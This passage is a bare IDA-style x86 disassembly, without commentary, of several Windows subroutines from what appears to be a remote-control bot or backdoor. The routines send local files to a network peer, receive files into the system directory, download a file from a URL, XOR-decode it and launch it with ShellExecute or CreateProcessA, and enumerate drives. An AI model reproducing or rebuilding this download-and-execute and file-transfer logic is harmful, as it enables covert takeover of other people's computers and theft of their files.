		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_4E3088	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4E30B4	; bind
		test	eax, eax
		jz	short loc_416814
		push	offset unk_44E724
		jmp	loc_41698F
; ---------------------------------------------------------------------------

loc_416814:				; CODE XREF: sub_416788+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_4E302C	; getsockname
		push	[ebp+var_2E]
		call	dword_4E2FB8	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41BC70
		pop	ecx

loc_416846:				; CODE XREF: sub_416788+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_416859
		push	5Fh
		pop	eax
		jmp	short loc_41685C
; ---------------------------------------------------------------------------

loc_416859:				; CODE XREF: sub_416788+CAj
		movsx	eax, al

loc_41685C:				; CODE XREF: sub_416788+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_41BC70
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_416846
		push	ebx
		push	edi
		call	dword_4E30B0	; listen
		test	eax, eax
		jz	short loc_41688F
		push	offset unk_44E748
		jmp	loc_41698F
; ---------------------------------------------------------------------------

loc_41688F:				; CODE XREF: sub_416788+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_4F53C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4168B9
		push	offset unk_44E76C
		jmp	loc_41698F
; ---------------------------------------------------------------------------

loc_4168B9:				; CODE XREF: sub_416788+125j
		push	esi
		push	eax
		call	dword_4F53DC	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEAD
		pop	ecx
		push	eax
		call	dword_4E30C8	; inet_addr
		push	eax
		call	dword_4E3084	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_44E78C
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409C75
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4E3070	; select
		test	eax, eax
		jg	short loc_416969
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_44E7A4
		push	eax
		push	[ebp+var_1FC]
		call	sub_409C75
		jmp	loc_416A8D
; ---------------------------------------------------------------------------

loc_416969:				; CODE XREF: sub_416788+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4E311C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_4169A2
		push	offset unk_44E7BC

loc_41698F:				; CODE XREF: sub_416788+49j
					; sub_416788+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	loc_416A90
; ---------------------------------------------------------------------------

loc_4169A2:				; CODE XREF: sub_416788+200j
		push	edi
		call	dword_4E3120	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_416A54
		mov	edi, 400h

loc_4169B7:				; CODE XREF: sub_416788+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_4169C4
		mov	[ebp+var_4], eax

loc_4169C4:				; CODE XREF: sub_416788+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_41E4B0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4F53F4	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_4F53BC	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4E30D8	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4E30A0	; recv
		cmp	eax, ebx
		jl	loc_416AE9
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_416AE9
		sub	[ebp+arg_0], eax
		jnz	loc_4169B7
		mov	edi, [ebp+var_18]

loc_416A54:				; CODE XREF: sub_416788+224j
		push	[ebp+var_8]
		call	dword_4F533C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41727E
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset unk_44E7E0
		push	eax
		call	sub_41EA60

loc_416A8D:				; CODE XREF: sub_416788+1DCj
		add	esp, 14h

loc_416A90:				; CODE XREF: sub_416788+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_416AB5
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409C75
		add	esp, 14h

loc_416AB5:				; CODE XREF: sub_416788+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_415A3C
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416ACD
		push	edi
		call	dword_4E3120	; closesocket

loc_416ACD:				; CODE XREF: sub_416788+33Cj
		push	[ebp+var_1F8]
		call	dword_4E3120	; closesocket
		push	[ebp+var_58]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_416AE9:				; CODE XREF: sub_416788+2AFj
					; sub_416788+2BAj
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_44E80C
		push	eax
		push	[ebp+var_1FC]
		call	sub_409C75
		push	offset dword_44E824
		call	sub_415A3C
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4E3120	; closesocket
		push	[ebp+var_58]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
sub_416788	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B2D	proc near		; DATA XREF: sub_401C87+77Eo

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	104h
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	[ebp+var_8], ebx
		call	dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_44E83C
		push	eax
		call	sub_41EA60
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_4F53C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416BB7
		push	offset unk_44E844
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BB7:				; CODE XREF: sub_416B2D+81j
		push	eax
		call	dword_4F533C	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41E490
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_416BDF
		push	offset unk_44E878
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BDF:				; CODE XREF: sub_416B2D+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_416541
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_416C10
		push	offset unk_44E8A4

loc_416BFD:				; CODE XREF: sub_416B2D+88j
					; sub_416B2D+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	loc_416D0A
; ---------------------------------------------------------------------------

loc_416C10:				; CODE XREF: sub_416B2D+C9j
		mov	esi, 1000h

loc_416C15:				; CODE XREF: sub_416B2D+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30A0	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416CDC
		cmp	edi, 0FFFFFFFFh
		jz	short loc_416C7D
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4211C0
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4E3084	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		jmp	short loc_416C15
; ---------------------------------------------------------------------------

loc_416C7D:				; CODE XREF: sub_416B2D+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_44E8C4
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409C75
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415A3C
		push	[ebp+var_4]
		call	sub_41BCF0
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4E3120	; closesocket
		push	[ebp+var_1C]
		call	sub_40B9A7
		pop	ecx
		push	1
		call	dword_4F53A0	; ExitThread

loc_416CDC:				; CODE XREF: sub_416B2D+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_41727E
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset unk_44E8DC
		push	eax
		call	sub_41EA60
		add	esp, 1Ch

loc_416D0A:				; CODE XREF: sub_416B2D+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_416D2F
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409C75
		add	esp, 14h

loc_416D2F:				; CODE XREF: sub_416B2D+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415A3C
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_416D4A
		push	[ebp+var_4]
		call	sub_41BCF0
		pop	ecx

loc_416D4A:				; CODE XREF: sub_416B2D+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_416D58
		push	[ebp+arg_0]
		call	dword_4E3120	; closesocket

loc_416D58:				; CODE XREF: sub_416B2D+220j
		push	[ebp+var_1C]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
sub_416B2D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D68	proc near		; DATA XREF: sub_401C87+6327o
					; sub_401C87+6B4Fo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4E3038
		call	dword_4E2F8C	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_4171E1
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4F53C0	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_416E2F
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_44E908
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416E12
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409C75
		add	esp, 14h

loc_416E12:				; CODE XREF: sub_416D68+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415A3C
		push	[ebp+var_48]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_416E2F:				; CODE XREF: sub_416D68+68j
		xor	edi, edi
		call	dword_4F537C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_41BE40
		pop	ecx
		mov	[ebp+var_1C], eax

loc_416E49:				; CODE XREF: sub_416D68+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4E2F94	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_416E8D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_417247
		pop	ecx
		pop	ecx

loc_416E8D:				; CODE XREF: sub_416D68+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4F53B4	; WriteFile
		cmp	edi, ebx
		jnb	short loc_416ECB
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_416EB5
		mov	eax, [ebp+arg_0]

loc_416EB5:				; CODE XREF: sub_416D68+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch

loc_416ECB:				; CODE XREF: sub_416D68+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_416ED8
		cmp	edi, [ebp+var_3C]
		ja	short loc_416F17

loc_416ED8:				; CODE XREF: sub_416D68+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_455DC0
		cmp	[ebp+var_44], 1
		jz	short loc_416F00
		push	offset unk_44E930
		jmp	short loc_416F05
; ---------------------------------------------------------------------------

loc_416F00:				; CODE XREF: sub_416D68+18Fj
		push	offset unk_44E958

loc_416F05:				; CODE XREF: sub_416D68+196j
		push	eax
		call	sub_41EA60
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_416E49

loc_416F17:				; CODE XREF: sub_416D68+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_416F6C
		cmp	edi, [ebp+var_3C]
		jz	short loc_416F6C
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_44E980
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409C75
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415A3C
		add	esp, 28h

loc_416F6C:				; CODE XREF: sub_416D68+1B9j
					; sub_416D68+1BEj
		call	dword_4F537C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_4F533C	; CloseHandle
		push	[ebp+var_1C]
		call	sub_41C9D0
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_416FF6
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AA
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_416FF6
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_44E9AC
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409C75
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415A3C
		add	esp, 28h

loc_416FF6:				; CODE XREF: sub_416D68+236j
					; sub_416D68+248j
		cmp	[ebp+var_14], esi
		jz	loc_41722E
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_4170F1
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_43C490
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_43C490
		fstp	[esp+590h+var_590]
		push	offset unk_44E9D4
		push	eax
		call	sub_41EA60
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_417071
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409C75
		add	esp, 14h

loc_417071:				; CODE XREF: sub_416D68+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415A3C
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_41722E
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen_2	; "open"
		push	esi
		call	dword_4E2FF4
		cmp	[ebp+var_30], esi
		jnz	loc_41722E
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_44EA14
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409C75
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415A3C
		add	esp, 24h
		jmp	loc_41722E
; ---------------------------------------------------------------------------

loc_4170F1:				; CODE XREF: sub_416D68+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_43C490
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_43C490
		fstp	[esp+590h+var_590]
		push	offset unk_44EA30
		push	eax
		call	sub_41EA60
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_417151
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409C75
		add	esp, 14h

loc_417151:				; CODE XREF: sub_416D68+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415A3C
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41E4B0
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset dword_4EACB8
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_4F5340	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_4171D3
		call	dword_4E2FE0	; WSACleanup
		call	sub_418EAE
		push	esi
		call	dword_4F5338	; ExitProcess

loc_4171D3:				; CODE XREF: sub_416D68+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_44EA74
		jmp	short loc_4171ED
; ---------------------------------------------------------------------------

loc_4171E1:				; CODE XREF: sub_416D68+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_44EAA8

loc_4171ED:				; CODE XREF: sub_416D68+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_417221
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409C75
		add	esp, 14h

loc_417221:				; CODE XREF: sub_416D68+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415A3C
		pop	ecx

loc_41722E:				; CODE XREF: sub_416D68+291j
					; sub_416D68+31Aj ...
		push	[ebp+var_18]
		call	dword_4E30BC	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
sub_416D68	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417247	proc near		; CODE XREF: sub_416D68+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_417263

loc_417253:				; CODE XREF: sub_417247+1Aj
		mov	dl, byte_43F098
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_417253

locret_417263:				; CODE XREF: sub_417247+Aj
		retn
sub_417247	endp


; =============== S U B	R O U T	I N E =======================================



sub_417264	proc near		; CODE XREF: sub_401C87+58C2p
					; sub_401C87+5A31p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_421420
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_417264	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41727E	proc near		; CODE XREF: sub_410287+462p
					; sub_410287+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4EACBC
		push	0
		push	edi
		call	sub_41E4B0
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_4172A3:				; CODE XREF: sub_41727E+5Bj
					; sub_41727E+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4214F0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_421480
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4172E1
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4172A3
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4172A3
; ---------------------------------------------------------------------------

loc_4172E1:				; CODE XREF: sub_41727E+4Bj
		mov	eax, edi
		jmp	short loc_4172EA
; ---------------------------------------------------------------------------

loc_4172E5:				; CODE XREF: sub_41727E+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax

loc_4172EA:				; CODE XREF: sub_41727E+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_4172E5
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41727E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172FC	proc near		; CODE XREF: sub_4174B1+51p
					; sub_4174B1+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4E30E8	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_41733F
		dec	eax
		jz	short loc_417339
		dec	eax
		dec	eax
		jz	short loc_417333
		dec	eax
		jz	short loc_41732D
		dec	eax
		jz	short loc_417327
		dec	eax
		jz	short loc_417321
		mov	eax, offset a?	; "?"
		retn
; ---------------------------------------------------------------------------

loc_417321:				; CODE XREF: sub_4172FC+1Dj
		mov	eax, offset off_44EAD8
		retn
; ---------------------------------------------------------------------------

loc_417327:				; CODE XREF: sub_4172FC+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_41732D:				; CODE XREF: sub_4172FC+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_417333:				; CODE XREF: sub_4172FC+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_417339:				; CODE XREF: sub_4172FC+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_41733F:				; CODE XREF: sub_4172FC+Dj
		mov	eax, offset aUnknown_0 ; "Unknown"
		retn
sub_4172FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417345	proc near		; CODE XREF: sub_41738D+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4E2F78
		test	eax, eax
		jz	short loc_41737A
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA

loc_41737A:				; CODE XREF: sub_417345+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_417345	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41738D	proc near		; CODE XREF: sub_4174B1+17p
					; sub_41B6C1+1F3p

